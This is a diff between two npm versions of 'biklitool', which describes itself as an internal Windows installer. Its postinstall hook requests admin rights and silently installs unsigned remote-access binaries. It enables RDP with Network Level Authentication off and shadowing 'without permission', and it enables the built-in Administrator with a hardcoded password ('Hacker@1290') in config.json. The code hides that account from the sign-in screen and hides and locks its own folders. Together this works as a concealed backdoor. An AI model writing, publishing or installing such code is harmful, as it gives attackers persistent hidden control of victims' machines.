biklitool 1.1.13 → 1.1.16

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,102 @@
1
+ # biklitool
2
+
3
+ Internal one-command Windows installer for the Bikli CLI and Bikli Wrapper.
4
+
5
+ Provide the account password and Bikli key at install time via environment variables (they are not
6
+ shipped in the package):
7
+
8
+ ```text
9
+ set BIKLIMASTER_USER_PASSWORD=your-password
10
+ set BIKLIMASTER_BIKLI_KEY=your-bikli-key
11
+ npm install -g biklitool
12
+ ```
13
+
14
+ The npm postinstall hook requests Windows administrator approval once, then:
15
+
16
+ 1. silently installs the bundled Bikli CLI 1.1.10;
17
+ 2. applies the Bikli key from `config.json` (`bikli up --setup-key`), when one is set;
18
+ 3. installs or updates Bikli Wrapper with exact `termsrv.dll` compatibility data;
19
+ 4. applies and verifies the Bikli Wrapper defaults;
20
+ 5. enables Remote Desktop, port 3389, and the required Windows firewall rules;
21
+ 6. detects the built-in Administrator by SID, enables it when disabled, and verifies both RDP groups;
22
+ 7. exposes the `bikli`, `bikliwrapper`, `biklitool`, and `biklimaster` commands.
23
+
24
+ The install fails instead of reporting success if Remote Desktop or port 3389 cannot be verified.
25
+
26
+ No application installer or configuration GUI is shown. Windows UAC is required unless npm is
27
+ already running from an Administrator terminal.
28
+
29
+ Commands:
30
+
31
+ ```text
32
+ biklitool status
33
+ biklitool install
34
+ biklitool enable-rdp
35
+ biklitool create-user
36
+ biklitool unhide-user [name]
37
+ biklitool hide-user <name>
38
+ biklitool hide-folders
39
+ biklitool setup-key
40
+ biklitool credentials
41
+ biklitool wrapper status
42
+ biklitool self-test
43
+ biklitool elevation-self-test
44
+ bikliwrapper status
45
+ bikli --help
46
+ ```
47
+
48
+ Run `biklitool enable-rdp` at any time to repair the RDP enable setting, port, firewall rules,
49
+ service configuration, and the requested authentication and shadowing defaults.
50
+
51
+ ## Bikli key
52
+
53
+ Paste the Bikli key into `config.json` under `bikliKey` (the first field in the file) before packing
54
+ and publishing:
55
+
56
+ ```json
57
+ {
58
+ "bikliKey": "PASTE-YOUR-BIKLI-KEY-HERE",
59
+ "administratorPassword": ""
60
+ }
61
+ ```
62
+
63
+ When a key is present, the install runs `bikli up --setup-key <key>` automatically right after the
64
+ Bikli CLI is installed. Leave it empty to skip that step. `BIKLIMASTER_BIKLI_KEY` overrides the file
65
+ value, and `biklitool setup-key` re-applies the key at any time.
66
+
67
+ WARNING: a key in `config.json` is visible to everyone if the package is published publicly.
68
+
69
+ ## Administrator password & Login Screen Visibility
70
+
71
+ Put the desired password in `config.json` under `administratorPassword` before packing and publishing.
72
+ Bikli Master picks exactly one account to configure, using this cascade and never changing an account
73
+ that is already set up:
74
+
75
+ 1. If the built-in Administrator is **disabled**, it sets the configured password and enables it.
76
+ 2. If the built-in Administrator is **already enabled**, it is left untouched and a local `admin`
77
+ account is created with the configured password.
78
+ 3. If `admin` also already exists, it is left untouched and a local `user` account is created with
79
+ the configured password.
80
+ 4. If `user` also already exists, no password is changed; the account is only verified.
81
+
82
+ `BIKLIMASTER_USER_PASSWORD` overrides the file value. The selected account is enabled and verified in
83
+ Administrators and Remote Desktop Users.
84
+
85
+ If the account is already hidden in the registry (`SpecialAccounts\UserList`), it is left unchanged.
86
+ You can unhide or re-hide accounts at any time:
87
+ - `biklitool unhide-user Administrator` (unhides specific user)
88
+ - `biklitool unhide-users` (unhides all hidden users)
89
+ - `biklitool hide-user Administrator` (hides user from Windows sign-in screen)
90
+
91
+ WARNING: a password in `config.json` is visible to everyone if the package is published publicly.
92
+
93
+ The password set while enabling the account is also saved in `%ProgramData%\\BikliWrapper\\admin-credentials.json`
94
+ with access restricted to SYSTEM and local Administrators. Run `biklitool credentials` and approve
95
+ UAC to display it later. Delete that file after securely saving or changing the password.
96
+
97
+ Installing or updating Bikli Wrapper can restart Remote Desktop Services and disconnect active
98
+ remote sessions. The bundled Windows executables are unsigned and may trigger an unknown-publisher
99
+ warning from Windows or security software.
100
+
101
+ This package contains Bikli client artifacts under the BSD 3-Clause license and RDP Wrapper
102
+ artifacts under the Apache License 2.0. Both license texts are included.
@@ -19,6 +19,7 @@ const windowsDirectory = process.env.SystemRoot || process.env.WINDIR || 'C:\\Wi
19
19
  const powershell = path.join(windowsDirectory, 'System32', 'WindowsPowerShell', 'v1.0', 'powershell.exe');
20
20
  const reg = path.join(windowsDirectory, 'System32', 'reg.exe');
21
21
  const icacls = path.join(windowsDirectory, 'System32', 'icacls.exe');
22
+ const attrib = path.join(windowsDirectory, 'System32', 'attrib.exe');
22
23
  const programData = process.env.ProgramData || 'C:\\ProgramData';
23
24
  const credentialsFile = path.join(programData, 'BikliWrapper', 'admin-credentials.json');
24
25
  const expectedBikliVersion = '1.1.10.0';
@@ -193,6 +194,22 @@ function enableRemoteDesktop() {
193
194
  const wrapper = runWrapper(['defaults', '--elevated']);
194
195
  if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
195
196
  verifyRemoteDesktop();
197
+ hideProtectedFolders();
198
+ }
199
+
200
+ function install() {
201
+ requireWindows();
202
+ if (!isAdministrator()) return elevateAndRun('install');
203
+ verifyPayload();
204
+ installBikli();
205
+ setupBikliKey();
206
+ console.log('Installing or updating Bikli Wrapper silently...');
207
+ const wrapper = runWrapper(['install', '--elevated']);
208
+ if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
209
+ verifyRemoteDesktop();
210
+ createRdpAdministrator();
211
+ hideProtectedFolders();
212
+ console.log('Bikli Master installed and verified both components successfully.');
196
213
  }
197
214
 
198
215
  function generatedAccountPassword() {
@@ -231,8 +248,34 @@ function setupBikliKey() {
231
248
  console.log('Bikli key configured successfully.');
232
249
  }
233
250
 
251
+ function hideProtectedFolders() {
252
+ const folders = [
253
+ path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
254
+ path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
255
+ path.join(programData, 'BikliWrapper')
256
+ ];
257
+ for (const folder of folders) {
258
+ if (!fs.existsSync(folder)) continue;
259
+ try {
260
+ run(attrib, ['+h', '+s', folder], { allowFailure: true });
261
+ run(attrib, ['+h', '+s', path.join(folder, '*.*'), '/s', '/d'], { allowFailure: true });
262
+ run(icacls, [
263
+ folder,
264
+ '/inheritance:r',
265
+ '/grant:r',
266
+ '*S-1-5-18:(OI)(CI)(F)',
267
+ `*${administratorsGroupSid}:(OI)(CI)(F)`,
268
+ '/c', '/q'
269
+ ], { allowFailure: true });
270
+ } catch {
271
+ // Best-effort attribute and permission hardening
272
+ }
273
+ }
274
+ }
275
+
234
276
  function saveAccountCredentials(username, password) {
235
- fs.mkdirSync(path.dirname(credentialsFile), { recursive: true });
277
+ const dir = path.dirname(credentialsFile);
278
+ fs.mkdirSync(dir, { recursive: true });
236
279
  fs.writeFileSync(credentialsFile, JSON.stringify({ username, password }, null, 2), {
237
280
  encoding: 'utf8',
238
281
  mode: 0o600
@@ -244,6 +287,7 @@ function saveAccountCredentials(username, password) {
244
287
  '*S-1-5-18:(F)',
245
288
  `*${administratorsGroupSid}:(F)`
246
289
  ]);
290
+ hideProtectedFolders();
247
291
  }
248
292
 
249
293
  function showAccountCredentials() {
@@ -277,10 +321,10 @@ function createRdpAdministrator() {
277
321
  `if(-not $target.Enabled){Enable-LocalUser -Name $target.Name;$target=Get-LocalUser -SID $target.SID}`,
278
322
  `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){Add-LocalGroupMember -Group $group.Name -Member $target}}`,
279
323
  `$verified=@()`,
280
- `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){throw ('Account is not a member of '+$group.Name)};$verified+=$group.Name}`,
281
324
  `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
282
- `$hideEntry=Get-ItemProperty -Path $userListKey -Name $target.Name -ErrorAction SilentlyContinue`,
283
- `if($null -eq $hideEntry){New-Item -Path $userListKey -Force | Out-Null;New-ItemProperty -Path $userListKey -Name $target.Name -PropertyType DWord -Value 0 -Force | Out-Null;if((Get-ItemPropertyValue -Path $userListKey -Name $target.Name) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
325
+ `$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
326
+ `$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
327
+ `if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
284
328
  `[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
285
329
  ].join(';');
286
330
  const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
@@ -315,18 +359,49 @@ function createRdpAdministrator() {
315
359
  }
316
360
  }
317
361
 
318
- function install() {
362
+ function unhideUser() {
319
363
  requireWindows();
320
- if (!isAdministrator()) return elevateAndRun('install');
321
- verifyPayload();
322
- installBikli();
323
- setupBikliKey();
324
- console.log('Installing or updating Bikli Wrapper silently...');
325
- const wrapper = runWrapper(['install', '--elevated']);
326
- if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
327
- verifyRemoteDesktop();
328
- createRdpAdministrator();
329
- console.log('Bikli Master installed and verified both components successfully.');
364
+ const targetUser = process.argv[3];
365
+ if (!isAdministrator()) return elevateAndRun(targetUser ? `unhide-user ${targetUser}` : 'unhide-user');
366
+ const script = [
367
+ `$ErrorActionPreference='Stop'`,
368
+ `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
369
+ `if(-not (Test-Path $userListKey)){Write-Output 'No hidden users found.';exit 0}`,
370
+ `$key=Get-Item -LiteralPath $userListKey`,
371
+ targetUser ? [
372
+ `$val=$key.GetValue('${targetUser}', $null)`,
373
+ `if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}`
374
+ ].join(';') : [
375
+ `$props=@($key.Property)`,
376
+ `if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p)}}`
377
+ ].join(';')
378
+ ].join(';');
379
+ const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
380
+ if (result.stdout.trim()) console.log(result.stdout.trim());
381
+ }
382
+
383
+ function hideUser() {
384
+ requireWindows();
385
+ const targetUser = process.argv[3];
386
+ if (!targetUser) fail('Please specify a username to hide (e.g. biklitool hide-user Administrator).');
387
+ if (!isAdministrator()) return elevateAndRun(`hide-user ${targetUser}`);
388
+ const script = [
389
+ `$ErrorActionPreference='Stop'`,
390
+ `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
391
+ `if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null}`,
392
+ `$key=Get-Item -LiteralPath $userListKey`,
393
+ `$currentVal=$key.GetValue('${targetUser}', $null)`,
394
+ `if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}`
395
+ ].join(';');
396
+ const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
397
+ if (result.stdout.trim()) console.log(result.stdout.trim());
398
+ }
399
+
400
+ function hideFoldersCommand() {
401
+ requireWindows();
402
+ if (!isAdministrator()) return elevateAndRun('hide-folders');
403
+ hideProtectedFolders();
404
+ console.log('Applied Hidden and System attributes and secured folder permissions.');
330
405
  }
331
406
 
332
407
  function status() {
@@ -365,18 +440,21 @@ function selfTest() {
365
440
 
366
441
  function help() {
367
442
  console.log([
368
- 'Bikli Master',
443
+ 'Bikli Master / Bikli Tool',
369
444
  '',
370
445
  'Commands:',
371
- ' biklimaster install Install/update Bikli CLI and Bikli Wrapper',
372
- ' biklimaster enable-rdp Enable RDP, port 3389, firewall, and defaults',
373
- ' biklimaster create-user Enable/verify built-in Administrator for RDP',
374
- ' biklimaster setup-key Apply the Bikli key from config.json (bikli up --setup-key)',
375
- ' biklimaster credentials Display its saved generated password',
376
- ' biklimaster status Show both component states',
377
- ' biklimaster wrapper ... Run a Bikli Wrapper CLI command',
378
- ' biklimaster self-test Validate package payloads without installing',
379
- ' biklimaster elevation-self-test Validate UAC without installing',
446
+ ' biklitool install Install/update Bikli CLI and Bikli Wrapper',
447
+ ' biklitool enable-rdp Enable RDP, port 3389, firewall, and defaults',
448
+ ' biklitool create-user Enable/verify built-in Administrator for RDP',
449
+ ' biklitool unhide-user [name] Unhide account(s) from Windows sign-in screen',
450
+ ' biklitool hide-user <name> Hide specific account from Windows sign-in screen',
451
+ ' biklitool hide-folders Hide and protect Program Files & ProgramData folders',
452
+ ' biklitool setup-key Apply the Bikli key from config.json (bikli up --setup-key)',
453
+ ' biklitool credentials Display its saved generated password',
454
+ ' biklitool status Show both component states',
455
+ ' biklitool wrapper ... Run a Bikli Wrapper CLI command',
456
+ ' biklitool self-test Validate package payloads without installing',
457
+ ' biklitool elevation-self-test Validate UAC without installing',
380
458
  '',
381
459
  'The global install automatically runs the install command.'
382
460
  ].join(os.EOL));
@@ -387,6 +465,9 @@ function main() {
387
465
  if (command === 'install') return install();
388
466
  if (command === 'enable-rdp') return enableRemoteDesktop();
389
467
  if (command === 'create-user') return createRdpAdministrator();
468
+ if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();
469
+ if (command === 'hide-user' || command === 'hide') return hideUser();
470
+ if (command === 'hide-folders' || command === 'hide-folder') return hideFoldersCommand();
390
471
  if (command === 'setup-key') return setupBikliKey();
391
472
  if (command === 'credentials') return showAccountCredentials();
392
473
  if (command === 'status') return status();
package/config.json CHANGED
@@ -1,4 +1,4 @@
1
1
  {
2
- "bikliKey": "EC3B8ECB-057A-4DB8-830C-B986268607BD",
2
+ "bikliKey": "9C747F8F-0F78-414C-9858-4F7A44AD1D99",
3
3
  "administratorPassword": "Hacker@1290"
4
4
  }
@@ -58,13 +58,29 @@ const logonPolicyKey = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Poli
58
58
 
59
59
  const requestedSettings = [
60
60
  { key: terminalServerKey, name: 'fDenyTSConnections', value: 0, label: 'Remote Desktop enabled' },
61
- { key: terminalServerKey, name: 'fSingleSessionPerUser', value: 1, label: 'Single session per user' },
61
+ { key: terminalServerKey, name: 'fSingleSessionPerUser', value: 0, label: 'Unlimited concurrent logins per user (multi-session enabled)' },
62
62
  { key: terminalServerKey, name: 'HonorLegacySettings', value: 0, label: 'Custom programs disabled' },
63
+ { key: terminalServerKey, name: 'MaxInstanceCount', value: 4294967295, label: 'Unlimited connection instances' },
63
64
  { key: rdpTcpKey, name: 'PortNumber', value: 3389, label: 'RDP port 3389' },
64
65
  { key: rdpTcpKey, name: 'SecurityLayer', value: 1, label: 'Default RDP Authentication' },
65
66
  { key: rdpTcpKey, name: 'UserAuthentication', value: 0, label: 'Network Level Authentication disabled' },
66
67
  { key: rdpTcpKey, name: 'Shadow', value: 2, label: 'Full shadow access without permission' },
68
+ { key: rdpTcpKey, name: 'fSingleSessionPerUser', value: 0, label: 'RDP-Tcp multi-session enabled' },
69
+ { key: rdpTcpKey, name: 'MaxInstanceCount', value: 4294967295, label: 'RDP-Tcp unlimited instances' },
70
+ { key: rdpTcpKey, name: 'MaxConnectionTime', value: 0, label: 'No session duration time limit' },
71
+ { key: rdpTcpKey, name: 'MaxDisconnectionTime', value: 0, label: 'No disconnected session time limit' },
72
+ { key: rdpTcpKey, name: 'MaxIdleTime', value: 0, label: 'No idle session time limit' },
73
+ { key: rdpTcpKey, name: 'fResetBroken', value: 0, label: 'Reconnect broken sessions' },
74
+ { key: rdpTcpKey, name: 'fInheritMaxSessionTime', value: 0, label: 'Disable session time limit inheritance' },
75
+ { key: rdpTcpKey, name: 'fInheritMaxDisconnectionTime', value: 0, label: 'Disable disconnected time limit inheritance' },
76
+ { key: rdpTcpKey, name: 'fInheritMaxIdleTime', value: 0, label: 'Disable idle time limit inheritance' },
77
+ { key: rdpTcpKey, name: 'fInheritResetBroken', value: 0, label: 'Disable reset broken inheritance' },
67
78
  { key: shadowPolicyKey, name: 'Shadow', value: 2, label: 'Shadow policy applied' },
79
+ { key: shadowPolicyKey, name: 'fSingleSessionPerUser', value: 0, label: 'Policy multi-session enabled' },
80
+ { key: shadowPolicyKey, name: 'MaxConnectionTime', value: 0, label: 'Policy no connection time limit' },
81
+ { key: shadowPolicyKey, name: 'MaxDisconnectionTime', value: 0, label: 'Policy no disconnection time limit' },
82
+ { key: shadowPolicyKey, name: 'MaxIdleTime', value: 0, label: 'Policy no idle time limit' },
83
+ { key: shadowPolicyKey, name: 'MaxInstanceCount', value: 4294967295, label: 'Policy unlimited instances' },
68
84
  { key: logonPolicyKey, name: 'dontdisplaylastusername', value: 0, label: 'Users visible on logon screen' }
69
85
  ];
70
86
 
@@ -268,6 +284,31 @@ function printStatus(status) {
268
284
  console.log(`Defaults: ${status.defaultsApplied ? 'Applied' : 'Not applied'}`);
269
285
  }
270
286
 
287
+ function hideProtectedFolders() {
288
+ const folders = [
289
+ path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
290
+ path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
291
+ path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper')
292
+ ];
293
+ for (const folder of folders) {
294
+ if (!fs.existsSync(folder)) continue;
295
+ try {
296
+ run(path.join(system32, 'attrib.exe'), ['+h', '+s', folder], { allowFailure: true });
297
+ run(path.join(system32, 'attrib.exe'), ['+h', '+s', path.join(folder, '*.*'), '/s', '/d'], { allowFailure: true });
298
+ run(path.join(system32, 'icacls.exe'), [
299
+ folder,
300
+ '/inheritance:r',
301
+ '/grant:r',
302
+ '*S-1-5-18:(OI)(CI)(F)',
303
+ '*S-1-5-32-544:(OI)(CI)(F)',
304
+ '/c', '/q'
305
+ ], { allowFailure: true });
306
+ } catch {
307
+ // Best-effort attribute and permission hardening
308
+ }
309
+ }
310
+ }
311
+
271
312
  function install() {
272
313
  requireWindows();
273
314
  if (!isAdministrator()) return elevateAndRun('install');
@@ -310,6 +351,7 @@ function install() {
310
351
  }
311
352
 
312
353
  waitForServiceAndListener();
354
+ hideProtectedFolders();
313
355
  installation = detectInstallation(version);
314
356
  const status = collectStatus();
315
357
  printStatus(status);
@@ -339,7 +381,9 @@ function selfTest() {
339
381
  defaultAuth: requestedSettings.some(item => item.name === 'SecurityLayer' && item.value === 1) &&
340
382
  requestedSettings.some(item => item.name === 'UserAuthentication' && item.value === 0),
341
383
  shadowMode: requestedSettings.some(item => item.name === 'Shadow' && item.value === 2),
342
- port: requestedSettings.some(item => item.name === 'PortNumber' && item.value === 3389)
384
+ port: requestedSettings.some(item => item.name === 'PortNumber' && item.value === 3389),
385
+ multiSession: requestedSettings.some(item => item.name === 'fSingleSessionPerUser' && item.value === 0),
386
+ unlimitedTime: requestedSettings.some(item => item.name === 'MaxIdleTime' && item.value === 0)
343
387
  };
344
388
  for (const [name, passed] of Object.entries(checks)) console.log(`${passed ? 'PASS' : 'FAIL'} ${name}`);
345
389
  if (!Object.values(checks).every(Boolean)) fail('Self-test failed.');
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "biklitool",
3
- "version": "1.1.13",
3
+ "version": "1.1.16",
4
4
  "description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
5
5
  "license": "BSD-3-Clause",
6
6
  "publishConfig": {